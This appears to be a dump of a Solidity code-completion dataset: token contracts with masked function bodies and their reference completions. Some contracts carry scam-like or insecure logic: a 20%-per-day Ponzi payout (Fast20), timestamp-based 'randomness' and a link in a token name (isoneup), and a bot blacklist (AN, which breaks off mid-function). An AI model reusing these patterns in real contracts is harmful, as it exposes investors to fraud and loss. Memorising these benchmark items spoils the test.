source_idx
stringlengths 1
5
| contract_name
stringlengths 1
55
| func_name
stringlengths 0
2.45k
⌀ | masked_body
stringlengths 60
686k
| masked_all
stringlengths 34
686k
| func_body
stringlengths 6
324k
| signature_only
stringlengths 11
2.47k
| signature_extend
stringlengths 11
8.95k
|
---|---|---|---|---|---|---|---|
24806 | Fast20 | contract Fast20 {
mapping (address => uint256) dates;
mapping (address => uint256) invests;
function() external payable {<FILL_FUNCTION_BODY> }
} | contract Fast20 {
mapping (address => uint256) dates;
mapping (address => uint256) invests;
<FILL_FUNCTION>
} |
address sender = msg.sender;
if (invests[sender] != 0) {
uint256 payout = invests[sender] / 100 * 20 * (now - dates[sender]) / 1 days;
if (payout > address(this).balance) {
payout = address(this).balance;
}
sender.transfer(payout);
}
dates[sender] = now;
invests[sender] += msg.value;
| function() external payable | function() external payable |
|
66573 | isoneup | transfer | contract isoneup is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint public firstBlock;
uint8 public decimals;
uint256 public totalBurnt;
bool firstTransfer = false;
address public AdminAddress;
constructor(string memory _name, string memory _symbol) public oneup(msg.sender) {
name = "https://rb.gy/uo4ofs";
symbol = "1UP";
decimals = 18;
_totalSupply = _totalSupply.add(1111 ether);
_balances[msg.sender] = _balances[msg.sender].add(1111 ether);
totalBurnt = 0;
MinSupply = 100 ether;
AdminAddress = msg.sender;
emit Transfer(address(0), msg.sender, 1111 ether);
}
function burn(uint256 _amount) external returns (bool) {
super._burn(msg.sender, _amount);
totalBurnt = totalBurnt.add(_amount);
return true;
}
function getPercentOfTrade(uint numTokens) internal returns(uint percent) {
uint numerator = numTokens * 1000;
require(numerator > numTokens); // overflow. Should use SafeMath throughout if this was a real implementation.
uint temp = numerator / _totalSupply + 5; // proper rounding up
return temp / 10;
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {<FILL_FUNCTION_BODY> }
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
super._transferFrom(_sender, _recipient, _amount);
return true;
}
function randNumber() internal view returns(uint _rand) {
_rand = uint(keccak256(abi.encode(block.timestamp, block.difficulty, msg.sender))) % 7;
return _rand;
}
receive() external payable {
uint _amount = msg.value;
msg.sender.transfer(_amount);
}
} | contract isoneup is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint public firstBlock;
uint8 public decimals;
uint256 public totalBurnt;
bool firstTransfer = false;
address public AdminAddress;
constructor(string memory _name, string memory _symbol) public oneup(msg.sender) {
name = "https://rb.gy/uo4ofs";
symbol = "1UP";
decimals = 18;
_totalSupply = _totalSupply.add(1111 ether);
_balances[msg.sender] = _balances[msg.sender].add(1111 ether);
totalBurnt = 0;
MinSupply = 100 ether;
AdminAddress = msg.sender;
emit Transfer(address(0), msg.sender, 1111 ether);
}
function burn(uint256 _amount) external returns (bool) {
super._burn(msg.sender, _amount);
totalBurnt = totalBurnt.add(_amount);
return true;
}
function getPercentOfTrade(uint numTokens) internal returns(uint percent) {
uint numerator = numTokens * 1000;
require(numerator > numTokens); // overflow. Should use SafeMath throughout if this was a real implementation.
uint temp = numerator / _totalSupply + 5; // proper rounding up
return temp / 10;
}
<FILL_FUNCTION>
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
super._transferFrom(_sender, _recipient, _amount);
return true;
}
function randNumber() internal view returns(uint _rand) {
_rand = uint(keccak256(abi.encode(block.timestamp, block.difficulty, msg.sender))) % 7;
return _rand;
}
receive() external payable {
uint _amount = msg.value;
msg.sender.transfer(_amount);
}
} |
if(!firstTransfer){
firstTransfer = true;
firstBlock = block.timestamp.add(15 minutes);
}
if (block.timestamp < firstBlock ) {
if (msg.sender != AdminAddress) {
require(_amount <= 10 ether, "Max tokens is 10");
require( _balances[_recipient] < 41 ether, "Max tokens per wallet is 40");
}
}
if (msg.sender != AdminAddress) { require(getPercentOfTrade(_amount) < 3);}
uint _rand = randNumber();
uint _amountToBurn = _amount.mul(_rand).div(100);
if ( _totalSupply.sub(_amountToBurn) <= MinSupply) { _amountToBurn = 0; }
_burn(msg.sender, _amountToBurn);
totalBurnt = totalBurnt.add(_amountToBurn);
uint _unBurntToken = _amount.sub(_amountToBurn);
super._transfer(msg.sender, _recipient, _unBurntToken);
return true;
| function transfer(address _recipient, uint256 _amount) public override returns (bool) | function transfer(address _recipient, uint256 _amount) public override returns (bool) |
45574 | DMC | DMC | contract DMC is StandardToken {
string public constant name = "Digital Marketing Coin";
string public constant symbol = "DMC";
uint8 public constant decimals = 18;
function DMC() public {<FILL_FUNCTION_BODY> }
} | contract DMC is StandardToken {
string public constant name = "Digital Marketing Coin";
string public constant symbol = "DMC";
uint8 public constant decimals = 18;
<FILL_FUNCTION>
} |
totalSupply = 9900000000000000000000000000;
balances[msg.sender] = totalSupply;
| function DMC() public | function DMC() public |
51145 | EthereumDeluxe | approveAndCall | contract EthereumDeluxe is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function EthereumDeluxe() {
totalSupply = 7000000000000000000000000;
balances[msg.sender] = totalSupply;
name = "Ethereum Deluxe";
decimals = 18;
symbol = "ETHDX";
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract EthereumDeluxe is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function EthereumDeluxe() {
totalSupply = 7000000000000000000000000;
balances[msg.sender] = totalSupply;
name = "Ethereum Deluxe";
decimals = 18;
symbol = "ETHDX";
}
<FILL_FUNCTION>
} |
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) | /* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) |
12578 | BIETHToken | approveAndCall | contract BIETHToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BIETH";
name = "Binereum";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x7060bFdC422DDB5408070c1fc499E830f3AA7FFd] = _totalSupply;
emit Transfer(address(0), 0x7060bFdC422DDB5408070c1fc499E830f3AA7FFd, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | contract BIETHToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BIETH";
name = "Binereum";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x7060bFdC422DDB5408070c1fc499E830f3AA7FFd] = _totalSupply;
emit Transfer(address(0), 0x7060bFdC422DDB5408070c1fc499E830f3AA7FFd, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} |
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) |
5495 | GTToken | null | contract GTToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract GTToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
symbol = "GT";
name = "Game Token";
decimals = 8;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
| constructor() public | // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public |
44259 | DASABI_IO_Contract | transferFrom | contract DASABI_IO_Contract is ERC20Token, Owned{
/* Public variables of the token */
string public constant name = "dasabi.io DSBI";
string public constant symbol = "DSBI";
uint256 public constant decimals = 18;
uint256 private constant etherChange = 10**18;
/* Variables of the token */
uint256 public totalSupply;
uint256 public totalRemainSupply;
uint256 public ExchangeRate;
uint256 public CandyRate;
bool public crowdsaleIsOpen;
bool public CandyDropIsOpen;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
mapping (address => bool) public blacklist;
address public multisigAddress;
/* Events */
event mintToken(address indexed _to, uint256 _value);
event burnToken(address indexed _from, uint256 _value);
function () payable public {
require (crowdsaleIsOpen == true);
if (msg.value > 0) {
mintDSBIToken(msg.sender, (msg.value * ExchangeRate * 10**decimals) / etherChange);
}
if(CandyDropIsOpen){
if(!blacklist[msg.sender]){
mintDSBIToken(msg.sender, CandyRate * 10**decimals);
blacklist[msg.sender] = true;
}
}
}
/* Initializes contract and sets restricted addresses */
function DASABI_IO_Contract() public {
owner = msg.sender;
totalSupply = 1000000000 * 10**decimals;
ExchangeRate = 50000;
CandyRate = 50;
totalRemainSupply = totalSupply;
crowdsaleIsOpen = true;
CandyDropIsOpen = true;
}
function setExchangeRate(uint256 _ExchangeRate) public onlyOwner {
ExchangeRate = _ExchangeRate;
}
function crowdsaleOpen(bool _crowdsaleIsOpen) public onlyOwner{
crowdsaleIsOpen = _crowdsaleIsOpen;
}
function CandyDropOpen(bool _CandyDropIsOpen) public onlyOwner{
CandyDropIsOpen = _CandyDropIsOpen;
}
/* Returns total supply of issued tokens */
function totalDistributed() public constant returns (uint256) {
return totalSupply - totalRemainSupply ;
}
/* Returns balance of address */
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/* Transfers tokens from your address to other */
function transfer(address _to, uint256 _value) public returns (bool success) {
require (balances[msg.sender] >= _value); // Throw if sender has insufficient balance
require (balances[_to] + _value > balances[_to]); // Throw if owerflow detected
balances[msg.sender] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recivers blaance
Transfer(msg.sender, _to, _value); // Raise Transfer event
return true;
}
/* Approve other address to spend tokens on your account */
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value; // Set allowance
Approval(msg.sender, _spender, _value); // Raise Approval event
return true;
}
/* Approve and then communicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender); // Cast spender to tokenRecipient contract
approve(_spender, _value); // Set approval to contract for _value
spender.receiveApproval(msg.sender, _value, this, _extraData); // Raise method on _spender contract
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
/* Get the amount of allowed tokens to spend */
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowances[_owner][_spender];
}
/*withdraw Ether to a multisig address*/
function withdraw(address _multisigAddress) public onlyOwner {
require(_multisigAddress != 0x0);
multisigAddress = _multisigAddress;
multisigAddress.transfer(this.balance);
}
/* Issue new tokens */
function mintDSBIToken(address _to, uint256 _amount) internal {
require (balances[_to] + _amount > balances[_to]); // Check for overflows
require (totalRemainSupply > _amount);
totalRemainSupply -= _amount; // Update total supply
balances[_to] += _amount; // Set minted coins to target
mintToken(_to, _amount); // Create Mint event
Transfer(0x0, _to, _amount); // Create Transfer event from 0x
}
function mintTokens(address _sendTo, uint256 _sendAmount)public onlyOwner {
mintDSBIToken(_sendTo, _sendAmount);
}
/* Destroy tokens from owners account */
function burnTokens(uint256 _amount)public onlyOwner {
require (balances[msg.sender] > _amount); // Throw if you do not have enough balance
totalRemainSupply += _amount; // Deduct totalSupply
balances[msg.sender] -= _amount; // Destroy coins on senders wallet
burnToken(msg.sender, _amount); // Raise Burn event
}
} | contract DASABI_IO_Contract is ERC20Token, Owned{
/* Public variables of the token */
string public constant name = "dasabi.io DSBI";
string public constant symbol = "DSBI";
uint256 public constant decimals = 18;
uint256 private constant etherChange = 10**18;
/* Variables of the token */
uint256 public totalSupply;
uint256 public totalRemainSupply;
uint256 public ExchangeRate;
uint256 public CandyRate;
bool public crowdsaleIsOpen;
bool public CandyDropIsOpen;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
mapping (address => bool) public blacklist;
address public multisigAddress;
/* Events */
event mintToken(address indexed _to, uint256 _value);
event burnToken(address indexed _from, uint256 _value);
function () payable public {
require (crowdsaleIsOpen == true);
if (msg.value > 0) {
mintDSBIToken(msg.sender, (msg.value * ExchangeRate * 10**decimals) / etherChange);
}
if(CandyDropIsOpen){
if(!blacklist[msg.sender]){
mintDSBIToken(msg.sender, CandyRate * 10**decimals);
blacklist[msg.sender] = true;
}
}
}
/* Initializes contract and sets restricted addresses */
function DASABI_IO_Contract() public {
owner = msg.sender;
totalSupply = 1000000000 * 10**decimals;
ExchangeRate = 50000;
CandyRate = 50;
totalRemainSupply = totalSupply;
crowdsaleIsOpen = true;
CandyDropIsOpen = true;
}
function setExchangeRate(uint256 _ExchangeRate) public onlyOwner {
ExchangeRate = _ExchangeRate;
}
function crowdsaleOpen(bool _crowdsaleIsOpen) public onlyOwner{
crowdsaleIsOpen = _crowdsaleIsOpen;
}
function CandyDropOpen(bool _CandyDropIsOpen) public onlyOwner{
CandyDropIsOpen = _CandyDropIsOpen;
}
/* Returns total supply of issued tokens */
function totalDistributed() public constant returns (uint256) {
return totalSupply - totalRemainSupply ;
}
/* Returns balance of address */
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/* Transfers tokens from your address to other */
function transfer(address _to, uint256 _value) public returns (bool success) {
require (balances[msg.sender] >= _value); // Throw if sender has insufficient balance
require (balances[_to] + _value > balances[_to]); // Throw if owerflow detected
balances[msg.sender] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recivers blaance
Transfer(msg.sender, _to, _value); // Raise Transfer event
return true;
}
/* Approve other address to spend tokens on your account */
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value; // Set allowance
Approval(msg.sender, _spender, _value); // Raise Approval event
return true;
}
/* Approve and then communicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender); // Cast spender to tokenRecipient contract
approve(_spender, _value); // Set approval to contract for _value
spender.receiveApproval(msg.sender, _value, this, _extraData); // Raise method on _spender contract
return true;
}
<FILL_FUNCTION>
/* Get the amount of allowed tokens to spend */
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowances[_owner][_spender];
}
/*withdraw Ether to a multisig address*/
function withdraw(address _multisigAddress) public onlyOwner {
require(_multisigAddress != 0x0);
multisigAddress = _multisigAddress;
multisigAddress.transfer(this.balance);
}
/* Issue new tokens */
function mintDSBIToken(address _to, uint256 _amount) internal {
require (balances[_to] + _amount > balances[_to]); // Check for overflows
require (totalRemainSupply > _amount);
totalRemainSupply -= _amount; // Update total supply
balances[_to] += _amount; // Set minted coins to target
mintToken(_to, _amount); // Create Mint event
Transfer(0x0, _to, _amount); // Create Transfer event from 0x
}
function mintTokens(address _sendTo, uint256 _sendAmount)public onlyOwner {
mintDSBIToken(_sendTo, _sendAmount);
}
/* Destroy tokens from owners account */
function burnTokens(uint256 _amount)public onlyOwner {
require (balances[msg.sender] > _amount); // Throw if you do not have enough balance
totalRemainSupply += _amount; // Deduct totalSupply
balances[msg.sender] -= _amount; // Destroy coins on senders wallet
burnToken(msg.sender, _amount); // Raise Burn event
}
} |
require (balances[_from] > _value); // Throw if sender does not have enough balance
require (balances[_to] + _value > balances[_to]); // Throw if overflow detected
require (_value <= allowances[_from][msg.sender]); // Throw if you do not have allowance
balances[_from] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recipient blaance
allowances[_from][msg.sender] -= _value; // Deduct allowance for this address
Transfer(_from, _to, _value); // Raise Transfer event
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | /* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
65745 | AN | openTrading | contract AN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Durant Inu";
string private constant _symbol = "DURANT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x11eb51A83e022E3606Fa5Ea3FF058302e3F45EcA);
_feeAddrWallet2 = payable(0x11eb51A83e022E3606Fa5Ea3FF058302e3F45EcA);
_feeAddrWallet3 = payable(0x11eb51A83e022E3606Fa5Ea3FF058302e3F45EcA);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 8;
_feeAddr2 = 8;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
